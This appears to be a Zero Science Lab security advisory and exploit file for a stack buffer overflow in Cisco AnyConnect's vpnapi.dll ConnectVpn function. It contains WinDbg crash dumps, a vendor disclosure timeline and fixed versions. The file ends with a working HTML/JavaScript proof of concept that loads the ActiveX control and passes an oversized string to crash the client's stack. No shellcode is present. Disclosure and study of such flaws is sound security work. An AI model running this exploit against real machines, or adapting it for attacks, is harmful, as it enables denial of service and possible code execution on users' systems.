244 lines
No EOL
11 KiB
HTML
244 lines
No EOL
11 KiB
HTML
<!--
|
|
|
|
Cisco AnyConnect Secure Mobility Client Remote Command Execution
|
|
|
|
|
|
Vendor: Cisco Systems, Inc.
|
|
Product web page: http://www.cisco.com
|
|
Affected version: 2.x
|
|
3.0
|
|
3.0.0A90
|
|
3.1.0472
|
|
3.1.05187
|
|
3.1.06073
|
|
3.1.06078
|
|
3.1.06079
|
|
3.1.07021
|
|
3.1.08009
|
|
4.0.00013
|
|
4.0.00048
|
|
4.0.00051
|
|
4.0.02052
|
|
4.0.00057
|
|
4.0.00061
|
|
4.1.00028
|
|
|
|
Fixed in: 3.1.09005
|
|
4.0.04006
|
|
4.1.02004
|
|
4.1.02011
|
|
|
|
Summary: Cisco AnyConnect Secure Mobility Solution empowers your
|
|
employees to work from anywhere, on corporate laptops as well as
|
|
personal mobile devices, regardless of physical location. It provides
|
|
the security necessary to help keep your organization’s data safe
|
|
and protected.
|
|
|
|
Desc: The AnyConnect Secure Mobility Client VPN API suffers from
|
|
a stack buffer overflow vulnerability when parsing large amount of
|
|
bytes to the 'strHostNameOrAddress' parameter in 'ConnectVpn' function
|
|
which resides in the vpnapi.dll library, resulting in memory corruption
|
|
and overflow of the stack. An attacker can gain access to the system
|
|
of the affected node and execute arbitrary code.
|
|
|
|
==========================================================================
|
|
|
|
(f48.10cc): Unknown exception - code 000006ba (first chance)
|
|
(f48.10cc): C++ EH exception - code e06d7363 (first chance)
|
|
(f48.10cc): C++ EH exception - code e06d7363 (first chance)
|
|
(f48.10cc): Stack overflow - code c00000fd (first chance)
|
|
First chance exceptions are reported before any exception handling.
|
|
This exception may be expected and handled.
|
|
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpnapi.dll -
|
|
eax=00232000 ebx=02df9128 ecx=00000000 edx=088f0024 esi=01779c42 edi=088f0022
|
|
eip=748b6227 esp=0032ea14 ebp=0032eab0 iopl=0 nv up ei pl nz na pe nc
|
|
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206
|
|
vpnapi!ConnectIfcData::setConfigCookie+0x9195:
|
|
748b6227 8500 test dword ptr [eax],eax ds:002b:00232000=00000000
|
|
0:000> g
|
|
(f48.10cc): Stack overflow - code c00000fd (!!! second chance !!!)
|
|
eax=00232000 ebx=02df9128 ecx=00000000 edx=088f0024 esi=01779c42 edi=088f0022
|
|
eip=748b6227 esp=0032ea14 ebp=0032eab0 iopl=0 nv up ei pl nz na pe nc
|
|
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206
|
|
vpnapi!ConnectIfcData::setConfigCookie+0x9195:
|
|
748b6227 8500 test dword ptr [eax],eax ds:002b:00232000=00000000
|
|
0:000> d edi
|
|
088f0022 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
|
|
088f0032 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
|
|
088f0042 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
|
|
088f0052 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
|
|
088f0062 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
|
|
088f0072 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
|
|
088f0082 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
|
|
088f0092 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
|
|
0:000> d edx
|
|
088f0024 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
|
|
088f0034 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
|
|
088f0044 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
|
|
088f0054 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
|
|
088f0064 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
|
|
088f0074 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
|
|
088f0084 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
|
|
088f0094 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
|
|
|
|
<12308000 B
|
|
|
|
----
|
|
|
|
>512150-512154 B
|
|
|
|
First chance exceptions are reported before any exception handling.
|
|
This exception may be expected and handled.
|
|
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\syswow64\RPCRT4.dll -
|
|
eax=004d2384 ebx=76e9b7e4 ecx=00193214 edx=00000000 esi=00193214 edi=00193738
|
|
eip=75440fc4 esp=00193000 ebp=00193008 iopl=0 nv up ei pl nz na pe nc
|
|
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206
|
|
RPCRT4!UuidCreate+0x835:
|
|
75440fc4 56 push esi
|
|
0:000> g
|
|
(1a50.1e40): Stack overflow - code c00000fd (!!! second chance !!!)
|
|
eax=004d2384 ebx=76e9b7e4 ecx=00193214 edx=00000000 esi=00193214 edi=00193738
|
|
eip=75440fc4 esp=00193000 ebp=00193008 iopl=0 nv up ei pl nz na pe nc
|
|
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206
|
|
RPCRT4!UuidCreate+0x835:
|
|
75440fc4 56 push esi
|
|
0:000> d eax
|
|
004d2384 46 75 6e 63 74 69 6f 6e-3a 20 43 6c 69 65 6e 74 Function: Client
|
|
004d2394 49 66 63 42 61 73 65 3a-3a 67 65 74 43 6f 6e 6e IfcBase::getConn
|
|
004d23a4 65 63 74 4d 67 72 0a 46-69 6c 65 3a 20 2e 5c 43 ectMgr.File: .\C
|
|
004d23b4 6c 69 65 6e 74 49 66 63-42 61 73 65 2e 63 70 70 lientIfcBase.cpp
|
|
004d23c4 0a 4c 69 6e 65 3a 20 32-35 38 30 0a 43 61 6c 6c .Line: 2580.Call
|
|
004d23d4 20 74 6f 20 67 65 74 43-6f 6e 6e 65 63 74 4d 67 to getConnectMg
|
|
004d23e4 72 20 77 68 65 6e 20 6e-6f 74 20 63 6f 6e 6e 65 r when not conne
|
|
004d23f4 63 74 65 64 20 74 6f 20-41 67 65 6e 74 2e 00 00 cted to Agent...
|
|
0:000> d
|
|
004d2404 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
|
|
004d2414 00 00 00 00 41 41 41 41-41 41 41 41 41 41 41 41 ....AAAAAAAAAAAA
|
|
004d2424 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
|
004d2434 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
|
004d2444 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
|
004d2454 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
|
004d2464 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
|
004d2474 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
|
0:000> d esp+1500
|
|
00194500 00 00 00 00 f8 e6 28 00-ec 3c 85 74 04 00 00 00 ......(..<.t....
|
|
00194510 ff ff ff ff 00 00 00 00-00 00 00 00 00 00 00 00 ................
|
|
00194520 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
|
00194530 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
|
00194540 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
|
00194550 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
|
00194560 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
|
00194570 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
|
|
|
==========================================================================
|
|
|
|
|
|
Tested on: Microsoft Windows 7 Professional SP1 (EN)
|
|
Microsoft Windows 7 Ultimate SP1 (EN)
|
|
|
|
|
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
@zeroscience
|
|
|
|
|
|
Vendor status:
|
|
|
|
[25.03.2015] Vulnerability discovered.
|
|
[28.03.2015] Vendor contacted.
|
|
[29.03.2015] Vendor responds asking more details.
|
|
[13.04.2015] Sent details to the vendor.
|
|
[15.04.2015] Asked vendor for status update.
|
|
[15.04.2015] Vendor opens case #PSIRT-0089839229, informing that as soon as incident manager takes ownership of the case they will be in contact.
|
|
[22.04.2015] Asked vendor for status update.
|
|
[28.04.2015] No reply from the vendor.
|
|
[04.05.2015] Asked vendor for status update.
|
|
[05.05.2015] Vendor assigns case PSIRT-0089839229, defect CSCuu18805 under investigation.
|
|
[12.05.2015] Asked vendor for confirmation.
|
|
[13.05.2015] Vendor resolved the issue, not sure for the release date.
|
|
[14.05.2015] Asked vendor for approximate scheduled release date.
|
|
[15.05.2015] Vendor informs that the defect is public (CSCuu18805).
|
|
[19.05.2015] Asked vendor for release information.
|
|
[19.05.2015] Vendor informs releases expected to be on June 7th for 3.1 MR9 and May 31st for 4.1 MR2.
|
|
[11.06.2015] Vendor releases version 4.1.02011 and 3.1.09005 to address this issue.
|
|
[13.06.2015] Public security advisory released.
|
|
|
|
|
|
Advisory ID: ZSL-2015-5246
|
|
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5246.php
|
|
Vendor: https://tools.cisco.com/bugsearch/bug/CSCuu18805
|
|
|
|
|
|
25.03.2015
|
|
|
|
-->
|
|
|
|
|
|
<!DOCTYPE html>
|
|
<html>
|
|
<head>
|
|
<title>Cisco AnyConnect Secure Mobility Client VPN API Stack Overflow</title>
|
|
</head>
|
|
<body>
|
|
<button onclick="O_o()">Launch</button>
|
|
<object id="cisco" classid="clsid:{C15C0F4F-DDFB-4591-AD53-C9A71C9C15C0}"></object>
|
|
<script language="JavaScript">
|
|
|
|
function O_o() {
|
|
//targetFile = "C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpnapi.dll"
|
|
//prototype = "Sub ConnectVpn ( ByVal strHostNameOrAddress As String )"
|
|
//memberName = "ConnectVpn"
|
|
//progid = "VpnApiLib.VpnApi"
|
|
|
|
var netv = Array(255712).join("ZS");
|
|
var push = //~~~~~~~~~~~~~~~~~~~~~~~~//
|
|
|
|
/*(()()())*/
|
|
"ZSZSZSZSZSZSZ"+
|
|
"SZSZSZSZSZSZSZS"+
|
|
"ZSZSZSZSZSZSZSZSZSZS"+
|
|
"ZSZSZSZSZSZSZSZSZSZSZSZS"+
|
|
"ZSZSZSZSZSZSZSZSZSZSZSZSZS"+
|
|
"ZSZSZSZ"+ "SZSZ" +"SZSZSZ"+
|
|
"SZSZSZ"+ "SZSZ" +"SZSZSZ"+
|
|
"SZSZS"+ "ZSZS" +"ZSZSZ"+
|
|
"SZSZS"+ "ZSZS" +"ZSZSZ"+
|
|
"SZSZS"+"ZSZSZ"+"SZSZS"+
|
|
"SZSZSZSZSZSZSZSZSZSZSZS"+
|
|
"ZSZSZSZSZSZSZSZSZSZSZSZSZ"+
|
|
"SZSZSZSZSZSZSZSZSZSZSZSZSZSZSZSZS"+
|
|
"ZSZSZSZSZSZSZSZSZSZSZSZSZSZSZSZSZSZSZ"+
|
|
"SZSZSZSZSZSZSZSZSZSZSZSZSZSZSZSZSZSZS"+
|
|
"ZSZSZSZ" +"SZSZSZSZSZSZ"+ "SZSZ"+
|
|
"SZSZSZS" +"ZSZSZSZSZSZSZS"+ "ZSZS"+
|
|
"ZSZSZSZ" +"SZSZSZSZSZSZSZ"+ "SZSZ"+
|
|
"SZSZSZSZ"+ "SZSZSZSZSZSZSZSZS"+ "ZSZSZ"+
|
|
"SZS"+ "ZSZ"+ "SZS"+ "ZSZ" +"SZS" +"ZSZ"+
|
|
"SZS"+ "ZSZ"+ "SZS"+ "ZSZ" +"SZS" +"ZSZ"+
|
|
"SZS"+ "ZSZ"+ "SZS"+ "ZSZ" +"SZS" +"ZSZ"+
|
|
"SZS"+ "ZSZ"+ "SZS"+ "ZSZ" +"SZS" +"ZSZ"+
|
|
"SZS"+ "ZSZ"+ "SZS"+ "ZSZ" +"SZS" +"ZSZ"+
|
|
"SZS"+ "ZSZ"+ "SZS"+ "ZSZ" +"SZS" +"ZSZ"+
|
|
"SZS"+ "ZSZ"+ "SZS" +"ZSZ" +"SZS" +"ZSZ"+
|
|
"SZS"+ "ZSZ"+ "SZS"+ "ZSZ"+ "SZS" +"ZSZ"+
|
|
"SZS"+ "ZSZ"+ "SZS"+ "ZSZ"+ "SZS" +"ZSZ"+
|
|
"SZS"+ "ZSZ"+ "SZS"+ "ZSZ"+ "SZS" +"ZSZ"+
|
|
"SZS"+ "ZSZ"+ "SZS"+ "ZSZ"+ "SZS" +"ZSZ"+
|
|
"SZS"+ "ZSZ"+ "SZS"+ "ZSZ"+ "SZS" +"ZSZ"+
|
|
"SZS"+ "ZSZ"+ "SZS"+ "ZSZ"+ "SZS" +"ZSZ"+
|
|
"SZS"+ "ZSZ"+ "SZS"+ "ZSZ"+ "SZS" +"ZSZ"+
|
|
"SZS"+ "ZSZ"+ "SZS"+ "ZSZ"+ "SZS" +"ZSZ"+
|
|
"SZS"+ "ZSZ"+ "SZS"+ "ZSZ"+ "SZS" +"ZSZ"+
|
|
"SZ" +"SZ" +"SZ" +"SZ" +"SZ"+ "SZ"+
|
|
"SZ" +"SZ" +"SZ" +"SZ" +"SZ"+ "SZ"+
|
|
"S"+ "Z"+ "S"+ "Z"+ "S"+ "Z"+
|
|
"S"+ "Z"+ "S"+ "Z"+ "S"+ "S"+
|
|
"S"+ "Z"+ "S"+ "Z"+ "S"+ "S";
|
|
|
|
|
|
var godeep = netv.concat(push);
|
|
cisco.ConnectVpn godeep
|
|
}
|
|
|
|
</script>
|
|
</body>
|
|
</html> |